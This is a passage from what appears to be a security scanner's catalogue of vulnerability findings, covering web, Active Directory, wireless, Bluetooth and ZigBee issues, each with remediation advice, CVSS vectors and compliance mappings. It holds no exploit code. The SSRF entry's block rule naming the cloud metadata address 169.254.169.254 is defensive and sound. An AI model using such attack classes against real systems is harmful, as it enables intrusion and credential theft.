OWASP Web: A10:2021 – Server-Side Request Forgery
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1552.005 (Credential Access)
NIST 800-53: SC-7, IA-5
PCI DSS 4: 6.2.4
HIGH PHX-086 — Weak Password Reset Mechanism
Remediation: Generate cryptographically random, short-lived (< 15 min) one-time password reset tokens. Invalidate tokens after single use. Rate limit password reset requests.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078 (Defense Evasion)
NIST 800-53: IA-5
PCI DSS 4: 8.3.6
HIGH PHX-088 — Nginx Off-By-Slash Path Traversal Misconfiguration
Remediation: Ensure Nginx location and alias directives both end with a trailing slash or both lack one. Use 'nginx -T' and audit all alias configurations with a linting tool.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-6
PCI DSS 4: 6.2.4
HIGH PHX-089 — Prototype Pollution
Remediation: Sanitize user-controlled keys to reject __proto__, constructor, and prototype. Use Object.create(null) for dictionaries. Update affected libraries (lodash, jQuery).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
OWASP Web: A03:2021 – Injection
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
HIGH PHX-094 — API Key Exposed in JavaScript Source
Remediation: Never embed API keys or secrets in client-side JavaScript. Proxy API calls through a backend service that holds credentials securely. Rotate all exposed keys immediately.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 3.4.1
HIGH PHX-096 — Unvalidated Webhook – Spoofable Source
Remediation: Validate webhook HMAC signatures on every inbound request. Reject payloads that fail signature verification. Use a secret per webhook source and rotate it periodically.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1565 (Impact)
NIST 800-53: SI-10, IA-3
PCI DSS 4: 6.2.4
HIGH PHX-099 — Exposed Backup File
Remediation: Remove all backup, archive, and dump files from web-accessible directories. Configure web server to deny access to .bak, .sql, .tar.gz, and similar extensions.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: CM-6, CM-7
PCI DSS 4: 3.4.1
HIGH PHX-101 — Dependency Confusion Attack Surface
Remediation: Register all internal package names on public registries to prevent squatting. Use scoped package names. Pin package versions and use lock files. Verify package provenance in CI/CD.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1195.001 (Initial Access)
NIST 800-53: SA-12, SI-2
PCI DSS 4: 6.3.2
HIGH PHX-103 — Sensitive PII Exposed in API Response
Remediation: Mask or exclude sensitive PII (SSN, credit card, full DOB) from API responses. Apply field-level access control. Use data minimization principles — return only what the client needs.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API3:2023 – Broken Object Property Level Authorization
NIST 800-53: AC-3, SC-28
PCI DSS 4: 3.4.1, 3.5.1
HIGH PHX-104 — Insufficient Transport Layer Security – API Over HTTP
Remediation: Force all API traffic over HTTPS. Configure HSTS. Reject HTTP connections at the load balancer or API gateway level with a 301 redirect to HTTPS.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1, 4.2.2
HIGH PHX-111 — DNS Zone Transfer Permitted (AXFR)
Remediation: Restrict AXFR zone transfers to explicitly authorised secondary name servers only using ACLs in your DNS server configuration. In BIND9, use the 'allow-transfer' directive with specific secondary IP addresses. Verify by attempting an AXFR query from an unauthorised host and confirming a REFUSED response.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1590.002 (Reconnaissance), T1018 (Discovery)
NIST 800-53: SC-20, CM-7, AC-3
PCI DSS 4: 1.3.2, 6.5.1
HIGH PHX-120 — Weak or Predictable Session Token
Remediation: Generate all session tokens using a CSPRNG with at least 128 bits of entropy. Tokens must be statistically independent, uniformly distributed, and free of any derivation from predictable values such as timestamps, user IDs, or sequential counters. Use framework-provided session management rather than custom implementations.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1539 (Collection), T1110.001 (Credential Access)
NIST 800-53: IA-5, SC-23
PCI DSS 4: 8.2.1, 8.3.6
HIGH PHX-122 — Exposed Metrics or Actuator Endpoint
Remediation: Restrict access to all metrics, health-check, and actuator endpoints using IP allowlisting or authentication. Disable sensitive endpoints that are not required in production (e.g., Spring Boot /actuator/env, /actuator/heapdump). Ensure no credentials, internal hostnames, or configuration data is exposed in metric output.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1592.002 (Reconnaissance), T1552.001 (Credential Access)
NIST 800-53: CM-7, AC-3, SI-12
PCI DSS 4: 6.5.1, 1.3.2
HIGH PHX-124 — API Returns Same Data for All Users (Missing Object-Level Auth)
Remediation: Implement per-user data scoping on all API endpoints by verifying that the authenticated user has ownership or explicit permission for each returned object. Enforce object-level authorisation checks in a centralised layer and test all endpoints across multiple user accounts to confirm isolation.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1530 (Collection), T1213 (Collection)
NIST 800-53: AC-3, AC-4
PCI DSS 4: 7.2.1
HIGH PHX-125 — Unauthenticated Access to Protected Path
Remediation: Implement server-side authentication enforcement on every protected route via a centralised middleware or decorator pattern. Ensure the check cannot be bypassed through client-side manipulation, request parameter modification, or direct URL access. Test all protected paths in an explicitly unauthenticated state as part of the QA process.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API5:2023 – Broken Function Level Authorization
MITRE ATT&CK: T1190 (Initial Access), T1078 (Initial Access)
NIST 800-53: AC-3, AC-2
PCI DSS 4: 7.2.1, 8.2.1
HIGH PHX-129 — WordPress Backup/Export File Exposed
Remediation: Immediately remove all backup, export, and archive files from the web root. Configure backup plugins to store exports outside the document root or require authentication for download. Add web server rules blocking access to common backup extensions (.sql, .bak, .tar.gz, .zip) within WordPress directories.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access), T1530 (Collection)
NIST 800-53: CM-6, AC-3, SC-28
PCI DSS 4: 6.5.1, 3.3.1
HIGH PHX-130 — TimThumb Script Detected
Remediation: Remove TimThumb from all themes and plugins and replace with a maintained image processing alternative. If removal is not immediately possible, update to version 2.8.14 or later and restrict the ALLOWED_SITES whitelist. Scan the server for webshells that may have been uploaded via prior TimThumb exploitation.
Effort: Moderate
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access), T1505.003 (Persistence)
NIST 800-53: SI-2, CM-6
PCI DSS 4: 6.3.3, 6.5.1
HIGH PHX-136 — NFS Unauthenticated Export
Remediation: Restrict NFS exports to specific trusted IP addresses in /etc/exports. Remove the 'no_root_squash' and 'insecure' options. Use Kerberos authentication (sec=krb5) for NFS v4. Block NFS ports (2049, 111) at the perimeter firewall.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1083 (Discovery), T1005 (Collection)
NIST 800-53: AC-3, AC-6, CM-7
PCI DSS 4: 1.3.1, 7.2.1
HIGH PHX-140 — RFID Credential Capture and Replay
Remediation: Replace ISO 14443/15693 UID-only systems with cryptographically authenticated RFID standards (MIFARE DESFire EV2/EV3, SEOS, iCLASS SE). Implement mutual authentication and rolling codes. Layer with PIN or biometric second factor for high-security areas.
Effort: High
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1621 (Credential Access)
NIST 800-53: IA-3, IA-5, PE-3
PCI DSS 4: 8.4.2, 9.1.1
HIGH PHX-143 — Industrial/OT Protocol Exposed on Network
Remediation: Segregate OT/ICS networks from corporate IT networks using firewalls or data diodes. Disable any OT protocol services on interfaces reachable from untrusted networks. Implement protocol-aware industrial firewalls (e.g., Claroty, Dragos) where full segmentation is not feasible.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
MITRE ATT&CK: T0886 (Initial Access), T0830 (Collection)
NIST 800-53: SC-7, CM-7, SI-4
PCI DSS 4: 1.3.1
HIGH PHX-148 — SSHv1 Protocol Supported
Remediation: Disable SSHv1 in sshd_config by setting 'Protocol 2'. SSHv1 uses outdated cryptographic primitives vulnerable to MITM and session hijacking attacks. All modern SSH implementations support SSHv2.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, CM-7, CM-6
PCI DSS 4: 4.2.1, 2.2.4
HIGH PHX-150 — RDP Without Network Level Authentication (NLA)
Remediation: Enable Network Level Authentication (NLA) for all RDP connections via Group Policy. Require CredSSP authentication. Apply MS12-020 and all subsequent RDP patches. Restrict RDP access to VPN-connected hosts only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
MITRE ATT&CK: T1021.001 (Lateral Movement)
NIST 800-53: IA-2, CM-7, AC-17
PCI DSS 4: 8.2.1, 2.2.4
HIGH PHX-151 — SMTP Open Mail Relay
Remediation: Configure SMTP server to reject relaying for unauthenticated external sources. Implement SPF, DKIM, and DMARC to prevent domain abuse. Restrict SMTP relay permissions to authenticated users and known IP ranges only.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1078 (Defense Evasion), T1566 (Initial Access)
NIST 800-53: CM-7, SC-5, SI-8
PCI DSS 4: 1.3.1, 5.4.1
HIGH PHX-157 — MySQL CVE-2012-2122 Authentication Bypass
Remediation: Upgrade MySQL to 5.1.63, 5.5.25a, or 5.6.6 or later where this timing vulnerability was patched. Apply vendor security patches. Restrict MySQL network access to trusted hosts only. Enable SSL/TLS for client connections.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: IA-2, SI-2
PCI DSS 4: 6.3.3, 8.2.1
HIGH PHX-161 — Active Directory Kerberoasting
Remediation: Audit service accounts with SPNs registered. Rotate passwords for all kerberoastable service accounts to long (25+ char) random passwords. Use Managed Service Accounts (MSA) or Group Managed Service Accounts (gMSA) to eliminate static service account passwords. Enable AES-256 Kerberos encryption and disable RC4.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1558.003 (Credential Access)
NIST 800-53: IA-5, AC-6, AU-12
PCI DSS 4: 8.3.1, 8.4.2
HIGH PHX-162 — AS-REP Roasting — Pre-Authentication Not Required
Remediation: Enable Kerberos pre-authentication on all user accounts (remove the DONT_REQUIRE_PREAUTH flag). This is the default and should be enforced via Group Policy. Audit AD accounts with pre-auth disabled and rotate their passwords to long random values. Use gMSA for service accounts.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1558.004 (Credential Access)
NIST 800-53: IA-5, AC-6
PCI DSS 4: 8.3.1
HIGH PHX-163 — BloodHound — Active Directory Attack Path Discovered
Remediation: Review all BloodHound-identified attack paths and remediate shortest paths to Domain Admin. Key actions: remove unnecessary group memberships (AdminTo/GenericAll edges), disable ACL-based privilege escalation paths, implement Protected Users security group, enable Privileged Access Workstations (PAWs), and tier administrative account model.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1482 (Discovery), T1087.002 (Discovery), T1069.002 (Discovery)
NIST 800-53: AC-6, AC-2, AU-12
PCI DSS 4: 7.2.1, 8.4.2
HIGH PHX-164 — LDAP Anonymous Bind / Domain User Enumeration
Remediation: Disable LDAP anonymous bind on Active Directory domain controllers. Restrict LDAP/LDAPS (ports 389/636) to authorised application servers and admin systems. Enable LDAP signing and channel binding (KB4520412). Require LDAP authentication for all directory queries.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1087.002 (Discovery)
NIST 800-53: AC-3, IA-2, CM-7
PCI DSS 4: 7.2.1, 8.2.1
HIGH PHX-165 — Domain Account No Password Required
Remediation: Audit all domain accounts with the PASSWD_NOTREQD flag (userAccountControl attribute) and clear the flag via 'Set-ADUser -PasswordNotRequired $false'. Enforce domain password policy via Group Policy (minimum length 12+, complexity enabled). Disable or delete accounts that genuinely require no password.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078.002 (Defense Evasion)
NIST 800-53: IA-5, AC-2
PCI DSS 4: 8.3.1, 8.3.6
HIGH PHX-166 — SMB Null Session Permitted
Remediation: Restrict null sessions via Group Policy: set 'Network access: Restrict anonymous access to Named Pipes and Shares' and 'Network access: Do not allow anonymous enumeration of SAM accounts'. In registry: set HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymous = 2.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1135 (Discovery), T1078 (Defense Evasion)
NIST 800-53: AC-3, CM-7, IA-2
PCI DSS 4: 7.2.1, 2.2.4
HIGH PHX-167 — WordPress Core / Theme / Plugin Vulnerability (WPScan)
Remediation: Update WordPress core, all themes, and all plugins to current versions. Remove unused plugins and themes. Enable auto-updates for minor WordPress versions. Disable XML-RPC if not required. Use a web application firewall (Wordfence or similar). Disable user enumeration via ?author= parameter.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, CM-7, RA-5
PCI DSS 4: 6.3.3, 6.3.2
HIGH PHX-172 — Public Exploit or Metasploit Module Available
Remediation: Prioritise patching of any vulnerability with a public exploit or Metasploit module — these represent near-zero barrier-to-exploitation. Apply the relevant vendor patch immediately. If patching is not immediately possible, implement compensating controls (WAF rules, network segmentation). Cross-reference against CISA KEV catalogue.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access), T1203 (Execution)
NIST 800-53: SI-2, RA-5, RA-3
PCI DSS 4: 6.3.3
HIGH PHX-174 — Privileged Domain Accounts Discovered
Remediation: Apply least-privilege principles: remove unnecessary administrative group memberships. Implement a tiered administration model (Tier 0/1/2) to restrict Domain Admin usage. Restrict ADMIN$/C$ share access to authorised management hosts only. Enable SMB access auditing. Rotate credentials for all identified privileged accounts.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1069.002 (Discovery), T1021.002 (Lateral Movement)
NIST 800-53: AC-6, AC-2, IA-5
PCI DSS 4: 7.2.1, 8.4.2
HIGH PHX-175 — Unknown CVE / Vulners Match
Remediation: Investigate each CVE match individually using the CVE identifier. Verify exploitability in context (network position, service version, configuration). Apply the relevant vendor patch or update. Cross-reference with CISA KEV, NVD, and vendor security advisories. Implement a vulnerability management programme to track and remediate identified CVEs within SLA.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 – Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access), T1210 (Lateral Movement)
NIST 800-53: SI-2, RA-5, CM-8
PCI DSS 4: 6.3.3
HIGH PHX-180 — OSINT PII Exposure — Social Security Number Pattern
Remediation: Immediately investigate any SSN-pattern strings discovered via OSINT to determine if real data has been exposed. If confirmed, invoke the incident response process, notify affected individuals, and report to relevant data protection authorities under applicable breach notification requirements. Implement DLP controls and audit document stores for improperly shared sensitive identifiers.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1589 (Reconnaissance)
NIST 800-53: SC-28, PM-5, PL-4
PCI DSS 4: 12.5.1
HIGH PHX-186 — WS-Addressing SSRF via ReplyTo/FaultTo
Remediation: Validate and restrict WS-Addressing ReplyTo and FaultTo header values to an allowlist of trusted internal endpoints. Do not route SOAP replies to attacker-supplied URLs. Disable WS-Addressing support entirely if the application does not require it. Apply egress filtering to prevent the SOAP service from making outbound requests to arbitrary hosts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
OWASP Web: A10:2021 – Server-Side Request Forgery
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: SI-10, CA-9, SC-7
PCI DSS 4: 6.2.4
HIGH PHX-187 — Serialization Marker in API Response (Deserialization Risk)
Remediation: Do not deserialize data from third-party API responses without type validation. Avoid consuming Java serialized objects or pickle streams from external sources. If serialized data must be processed, implement integrity checks, use allowlist-based deserializers, and run deserialization in sandboxed environments with restricted class loading.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A08:2021 – Software and Data Integrity Failures
OWASP API: API10:2023 – Unsafe Consumption of APIs
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
HIGH PHX-188 — Unsafe Webhook URL Consumption (SSRF)
Remediation: Validate webhook callback URLs against an allowlist of permitted domains before accepting. Block private, loopback, link-local, and cloud metadata IP ranges (169.254.169.254, 10.0.0.0/8, etc.) at the application layer. Enforce egress firewall rules on servers that process webhook registrations. Require HTTPS and verify TLS certificates for all outbound webhook deliveries.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
OWASP Web: A10:2021 – Server-Side Request Forgery
OWASP API: API7:2023 – Server Side Request Forgery
MITRE ATT&CK: T1090.002 (Command and Control)
NIST 800-53: SI-10, SC-7, CA-9
PCI DSS 4: 6.2.4
HIGH PHX-189 — Deprecated Protocol — Cleartext Service in Use
Remediation: Replace all cleartext protocols (HTTP, FTP, Telnet, SMTP without STARTTLS) with their encrypted equivalents (HTTPS, SFTP/FTPS, SSH, SMTPS). Enforce HTTPS with HSTS. Capture and remediate any credentials transmitted over unencrypted channels. Apply egress filtering to block cleartext service connections from internal hosts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-7
PCI DSS 4: 4.2.1, 4.2.2
HIGH PHX-218 — WPA3 SAE Dragonblood Vulnerability
Remediation: Apply AP firmware updates addressing CVE-2019-9494 through CVE-2019-9502. Ensure the WPA3 SAE implementation performs strict elliptic-curve point validation and anti-clogging token support. Upgrade to hostapd/wpa_supplicant 2.10+.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-40, SI-2, RA-5
PCI DSS 4: 4.2.1, 6.3.3
HIGH PHX-219 — KRACK — WPA2 Key Reinstallation Attack
Remediation: Apply OS and driver security patches addressing CVE-2017-13077 through CVE-2017-13080 on all wireless clients and APs. Upgrade to wpa_supplicant/hostapd 2.7+. Prioritise patching Android 6.0 devices which reinstall an all-zero key.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access), T1557 (Credential Access)
NIST 800-53: SC-8, SI-2, SC-40, RA-5
PCI DSS 4: 4.2.1, 6.3.3
HIGH PHX-222 — WPS Enabled — PIN/Brute-Force Attack Surface
Remediation: Disable WPS on all access points where not operationally required. If WPS must remain enabled, ensure WPS 2.0 with lockout after 3 failed attempts is implemented and apply all vendor firmware patches addressing the Pixie-Dust vulnerability.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: SC-8, SC-40, CM-6, IA-5
PCI DSS 4: 4.2.1, 6.3.3
HIGH PHX-223 — WPA3 Transition Mode — Downgrade to WPA2
Remediation: Migrate to WPA3-only mode when all clients support WPA3-SAE. In the interim, enforce 802.11w (PMF) as mandatory to prevent deauthentication-based downgrade attacks. Consider a separate SSID for legacy WPA2 clients.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Credential Access), T1557 (Credential Access)
NIST 800-53: SC-8, SC-40, CM-6
PCI DSS 4: 4.2.1, 12.3.3
HIGH PHX-224 — KNOB Attack — Bluetooth Encryption Key Entropy Reduction
Remediation: Apply vendor firmware patches enforcing a minimum Bluetooth encryption key entropy of 7 bytes (preferably 16). Prefer BLE with LE Secure Connections (LESC) which is not affected. Disable BR/EDR on devices where only BLE is operationally required.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-40, SI-2, SC-25
PCI DSS 4: 4.2.1, 6.3.3
HIGH PHX-225 — BIAS Attack — Bluetooth Impersonation via Authentication Bypass
Remediation: Apply manufacturer firmware updates addressing CVE-2020-10135. Require Secure Simple Pairing (SSP) with Secure Connections for all BR/EDR sessions and enforce mutual authentication. Disable legacy authentication fallback where supported.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, IA-3, SC-40, SI-2
PCI DSS 4: 4.2.1, 8.6.1, 6.3.3
HIGH PHX-226 — BLUFFS — Bluetooth Forward Secrecy Attack
Remediation: Apply vendor patches implementing session-key diversification and forward-secret key derivation per Bluetooth SIG guidance on CVE-2023-24023. Use application-layer protocols with independent forward secrecy (e.g., TLS 1.3 over Bluetooth RFCOMM) for sensitive communications.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-40, SI-2, SC-25
PCI DSS 4: 4.2.1, 6.3.3
HIGH PHX-227 — Bluetooth Low Energy Weak Pairing — Crackable Temporary Key
Remediation: Migrate all BLE devices to LE Secure Connections (LESC/SMP v2) which uses ECDH key exchange and is not vulnerable to passive TK recovery. If legacy pairing cannot be avoided, use Passkey Entry with out-of-band delivery and avoid hardcoded or predictable PINs.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1110.002 (Credential Access)
NIST 800-53: SC-8, IA-5, SC-40
PCI DSS 4: 4.2.1, 8.3.6
HIGH PHX-228 — BLE GATT Service — Unauthenticated Read/Write Access
Remediation: Apply ATT permissions requiring authenticated encrypted connections (BLE security mode 1, level 3+) for all GATT characteristics carrying sensitive data or accepting writes. Implement application-layer command authentication (HMAC or signed payloads) as defence-in-depth.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1602 (Collection)
NIST 800-53: AC-3, IA-3, SC-40
PCI DSS 4: 8.6.1, 6.2.4
HIGH PHX-231 — Bluetooth BR/EDR Cleartext Traffic — Passive Eavesdropping
Remediation: Ensure all BR/EDR sessions use encryption with maximum entropy key negotiation (16 bytes). Apply the KNOB patch. Use application-layer encryption (TLS/DTLS) over RFCOMM for sensitive data streams. Upgrade to BLE with LE Secure Connections where use case allows.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-40, SC-25
PCI DSS 4: 4.2.1
HIGH PHX-233 — BLE MITM Attack via Device Cloning (GATTacker)
Remediation: Enforce authenticated pairing (Numeric Comparison or OOB). Implement application-layer certificate pinning or GATT profile fingerprint validation. Use LE Secure Connections to resist MITM during pairing. Ensure central apps validate full GATT profile against an expected fingerprint.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, IA-3, SC-40
PCI DSS 4: 4.2.1, 8.6.1
HIGH PHX-234 — Bluetooth Denial-of-Service and Physical Firmware Extraction
Remediation: Apply Bluetooth stack firmware updates with rate-limiting and malformed-frame rejection. Enable all JTAG/SWD debug port protection (fuse blow, APProtect, RDP level 2). Store cryptographic secrets in secure elements inaccessible from the main MCU. Remove or decap debug headers from production hardware.
Effort: High
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1499 (Impact), T1592 (Reconnaissance)
NIST 800-53: PE-3, PE-6, SC-25, SI-2, IR-4
PCI DSS 4: 9.2.1, 12.10.1
HIGH PHX-236 — ZigBee Replay Attack
Remediation: Enforce strict ZigBee frame counter validation per specification. Devices must reject frames with counters outside the accepted replay protection window. Apply vendor firmware patches that implement per-device frame counter tracking.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
MITRE ATT&CK: T1550 (Lateral Movement)
NIST 800-53: SC-8, SC-25, CM-6
PCI DSS 4: 4.2.1, 6.2.4
HIGH PHX-237 — ZigBee Cluster Library (ZCL) Command Injection
Remediation: Rotate network key immediately. Implement application-layer authentication for security-critical clusters (Door Lock, IAS Zone, Thermostat). Enforce allow-listed device EUI64s for security-critical command sources at the coordinator level.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1059 (Execution), T1565.001 (Impact)
NIST 800-53: SC-8, SC-25, AC-3, CM-6
PCI DSS 4: 4.2.1, 6.2.4
HIGH PHX-238 — ZigBee Light Link (ZLL) Touchlink Attack — Device Theft and Factory Reset
Remediation: Disable touchlink commissioning on production devices via coordinator policy. Deploy ZigBee 3.0 with enhanced touchlink security (install-code-based commissioning). Replace ZLL-only devices with ZigBee 3.0 devices. Apply vendor firmware updates restricting touchlink resets to same-network devices.
Effort: High
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1498 (Impact), T1565 (Impact)
NIST 800-53: PE-3, SC-25, CM-6
PCI DSS 4: 9.2.1, 6.3.3
HIGH PHX-239 — ZigBee Network Denial-of-Service
